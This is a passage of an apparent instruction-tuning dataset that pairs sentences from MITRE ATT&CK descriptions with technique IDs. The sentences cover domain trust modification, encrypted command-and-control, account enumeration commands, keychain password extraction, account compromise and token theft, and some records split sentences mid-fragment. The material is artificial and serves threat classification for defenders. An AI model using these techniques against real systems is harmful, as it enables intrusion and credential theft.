appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators. ### Response: T1484."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges.", "output": "T1484.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. ### Response: T1484.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation)", "output": "T1484.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) ### Response: T1484.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.", "output": "T1484.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains. ### Response: T1484.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control.", "output": "T1484.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. ### Response: T1484.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials.", "output": "T1484.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. ### Response: T1484.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead, an adversary can manipulate domain trusts to add their own signing certificate.", "output": "T1484.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead, an adversary can manipulate domain trusts to add their own signing certificate. ### Response: T1484.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may also convert a domain to a federated domain, which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain)", "output": "T1484.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may also convert a domain to a federated domain, which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) ### Response: T1484.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", "output": "T1573", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. ### Response: T1573."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.", "output": "T1573", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files. ### Response: T1573."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", "output": "T1573.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. ### Response: T1573.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption.", "output": "T1573.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. ### Response: T1573.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.", "output": "T1573.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4. ### Response: T1573.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For examples, cloud environments typically provide easily accessible interfaces to obtain user lists.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For examples, cloud environments typically provide easily accessible interfaces to obtain user lists. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of local system accounts.", "output": "T1087.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of local system accounts. ### Response: T1087.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.", "output": "T1087.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior. ### Response: T1087.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code>on macOS and Linux can list local users and groups.", "output": "T1087.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code>on macOS and Linux can list local users and groups. ### Response: T1087.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file.", "output": "T1087.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. ### Response: T1087.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On macOS the <code>dscl .", "output": "T1087.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On macOS the <code>dscl . ### Response: T1087.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "list /Users</code> command can be used to enumerate local accounts.", "output": "T1087.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: list /Users</code> command can be used to enumerate local accounts. ### Response: T1087.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.", "output": "T1167", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. ### Response: T1167."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: OS X Keychain) (Citation: External to DA, the OS X Way)", "output": "T1167", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) ### Response: T1167."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory.", "output": "T1167", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. ### Response: T1167."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.", "output": "T1167", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. ### Response: T1167."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: OS X Keychain)", "output": "T1167", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: OS X Keychain) ### Response: T1167."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain.", "output": "T1167", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. ### Response: T1167."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)", "output": "T1167", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware) ### Response: T1167."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise accounts with services that can be used during targeting.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise accounts with services that can be used during targeting. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For operations incorporating social engineering, the utilization of an online persona may be important.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For operations incorporating social engineering, the utilization of an online persona may be important. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation:", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AnonHBGary)(Citation: Microsoft DEV-0537)", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AnonHBGary)(Citation: Microsoft DEV-0537) ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.).", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).", "output": "T1586", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). ### Response: T1586."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise social media accounts that can be used during targeting.", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise social media accounts that can be used during targeting. ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For operations incorporating social engineering, the utilization of an online persona may be important.", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For operations incorporating social engineering, the utilization of an online persona may be important. ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts.", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary)", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.).", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest.", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "output": "T1586.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). ### Response: T1586.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems.", "output": "T1527", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. ### Response: T1527."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These tokens are typically stolen from users and used in lieu of login credentials.", "output": "T1527", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These tokens are typically stolen from users and used in lieu of login credentials. ### Response: T1527."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)", "output": "T1527", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) ### Response: T1527."}{"instruction": "List the MITRE techniques contained in the text.", "input": "OAuth is one commonly implemented framework that issues tokens to users for access to systems.", "output": "T1527", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: OAuth is one commonly implemented framework that issues tokens to users for access to systems. ### Response: T1527."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform.", "output": "T1527", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. ### Response: T1527."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user.", "output": "T1527", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. ### Response: T1527."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)", "output": "T1527", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta) ### Response: T1527."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services.", "output": "T1527", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. ### Response: T1527."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines.", "output": "T1527", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. ### Response: T1527."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords.", "output": "T1527", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. ### Response: T1527."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", "output": "T1527", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow. ### Response: T1527."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also span both native defenses as well as supplemental capabilities installed by users and administrators.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also span both native defenses as well as supplemental capabilities installed by users and administrators. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown) ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. ### Response: 